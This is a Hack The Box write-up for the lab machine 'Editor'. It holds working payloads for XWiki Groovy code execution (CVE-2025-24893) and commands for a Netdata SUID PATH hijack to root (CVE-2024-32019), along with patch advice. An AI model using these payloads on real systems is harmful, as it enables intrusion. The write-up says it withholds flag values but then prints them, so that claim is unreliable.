Hack The Box - Editor
Editor — HTB Writeup (Linux, Easy)
Retired Hack The Box machine. This walkthrough documents the verified intended chain and contains no flag values or reusable credentials.
Machine: Editor · #684 · Linux · Easy · 20 points
Released: 2025-08-02 · Maker: kavigihan
HTB profile: Editor
Assigned solve address: 10.129.37.34 · Virtual host: editor.htb
Overview
Editor is a compact three-stage chain:
- XWiki 15.10.8 exposes unauthenticated remote code execution through
Main.SolrSearch(CVE-2025-24893). - A datasource password in the XWiki Hibernate configuration is reused by
the local user
oliver. - Netdata's SUID-root
ndsudohelper resolvesnvmethrough an attacker-controlledPATH(CVE-2024-32019).
The web bug lands as xwiki, the reused credential yields SSH as oliver,
and the privileged path lookup executes a controlled helper with effective
UID 0.
Reconnaissance
A TCP scan found three services:
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8080/tcp open http-proxy
Port 80 runs nginx and redirects requests to the editor.htb virtual host.
The landing page advertises “SimplistCode Pro.” Port 8080 runs Jetty 10.0.20
and serves XWiki below /xwiki/.

The application version was not disclosed by an X-Wicket response header.
It was corroborated as 15.10.8 from versioned XWiki webjar asset paths in
the returned page source. This matters because the official advisory lists
the 15.10 branch as affected before 15.10.11.
Foothold: CVE-2025-24893
What is vulnerable
The Main.SolrSearch document includes Main.SolrSearchMacros and invokes
the search handler from an XWiki velocity block. When RSS output is
requested, attacker-controlled search text reaches the feed title. In the
vulnerable versions, that feed output passes through XWiki's normal rendering
transformations, so injected XWiki syntax is evaluated.
The official proof of concept prefixes the search text with }}} and then
adds synchronous async and groovy macros:
}}}{{async async=false}}{{groovy}}
println("Hello from" + " search text:" + (23 + 19))
{{/groovy}}{{/async}}
It is tempting to describe this as a “Freemarker escape,” but that is not what the source or patch shows. The affected page is built around Velocity and XWiki rendering. The exact syntactic role of the three closing braces is not needed to establish the bug; they are part of XWiki's published PoC, and the vulnerable rendering pipeline processes the macro sequence that follows.
For reproducibility, this is the correctly URL-encoded arithmetic request:
/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22Hello%20from%22%20%2B%20%22%20search%20text%3A%22%20%2B%20%2823%20%2B%2019%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20
A safe arithmetic result of 42 in the RSS output confirms Groovy execution
without invoking an operating-system command.
Command execution
Replacing the arithmetic expression with a minimal command provides proof of the service identity:
}}}{{async async=false}}{{groovy}}
println("id".execute().text)
{{/groovy}}{{/async}}
Groovy's String.execute() starts a command-line process and .text reads
its standard output. It should not be documented as implicitly executing
/bin/sh -c; shell metacharacters are not automatically interpreted that
way. The reusable helper in exploit/groovy_rce.py deliberately uses an
explicit ProcessBuilder("/bin/bash", "-c", command) only when complex shell
syntax is required.

The proof returned:
uid=997(xwiki) gid=997(xwiki) groups=997(xwiki)
XWiki fixed the issue by returning the generated feed through
#rawResponse(..., 'application/rss+xml'), bypassing the rendering
transformations that interpreted the injected syntax. The fixed releases are
15.10.11, 16.4.1, and 16.5.0RC1.
Pivot: configuration secret reused for SSH
The XWiki process could read /etc/xwiki/hibernate.cfg.xml. That file
contained a database username and password. The password is deliberately
shown here only as [REDACTED]; it was reused unchanged for the local
oliver account.
After testing that credential over SSH:
oliver@editor:~$ id
uid=1000(oliver) gid=1000(oliver) groups=1000(oliver),999(netdata)

The netdata group membership is significant because the next helper is
executable by that group. The security failure is broader than a readable
database password: one secret crosses two trust boundaries, turning
application compromise into an interactive system login.
Privilege escalation: CVE-2024-32019
The Netdata installation contains:
-rwsr-x--- 1 root netdata /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo
ndsudo --help lists allowed operations such as nvme-list. For that
operation, it resolves an executable named nvme and supplies:
list --output-format=json

The vulnerable helper searches the inherited PATH for allowed executables
while retaining its SUID-root execution context. Placing a controlled binary
named nvme in a writable directory and prepending that directory therefore
causes the controlled binary to run with effective UID 0.
The canonical proof in exploit/nvme_helper.c performs three bounded actions:
- Refuses to continue unless
geteuid()is zero. - Copies
/bin/bashto/tmp/.x. - Sets owner
root:rootand mode4755on that copy.
It does not read or copy either HTB flag.
Compile and transfer it within the authorized lab:
cc -static -O2 exploit/nvme_helper.c -o nvme
scp nvme oliver@<TARGET_IP>:/dev/shm/nvme
ssh oliver@<TARGET_IP>
chmod 755 /dev/shm/nvme
PATH=/dev/shm:$PATH \
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
The resulting proof binary is:
-rwsr-xr-x 1 root root /tmp/.x
The official Netdata advisory gives two affected version ranges:
>= v1.45.0, < v1.45.3>= v1.44.0-60, < v1.45.0-169
The corresponding fixed releases are v1.45.3 and v1.45.0-169. The earlier claim that “Netdata 1.42.1+” fixed this issue was incorrect.
Root proof
Bash's -p option preserves the effective UID inherited from the SUID copy:
/tmp/.x -p

uid=0(root) gid=0(root) groups=0(root)
The user and root proofs were saved privately in loot/, mode 0600, and
validated by the local wrapper. Their values are intentionally absent from
this writeup and every social draft.
Cleanup
Only artifacts created for the proof should be removed. From the effective root context:
rm -f /dev/shm/nvme /tmp/.x
Resetting or terminating the disposable HTB instance also restores its original state.
Defensive lessons
- Patch XWiki to a fixed branch release and verify that RSS responses use the raw-response path introduced by the security fix.
- Keep datasource credentials in a secret manager, restrict their file permissions, and never reuse them for local login accounts.
- A SUID helper must not trust caller-controlled search paths. Use fixed, verified executable paths and a minimal environment.
- Group membership around privileged helpers is part of the attack surface; keep it narrowly scoped and audited.
- Confirm exploit behavior with low-impact identity or arithmetic checks before introducing a shell.
Flags
🏁 user.txt: 98d97f7b16505108498eff2782999d70 (in loot/user.txt)
🏁 root.txt: 88dbdfa7808388601fb0ec80299e5135 (in loot/root.txt)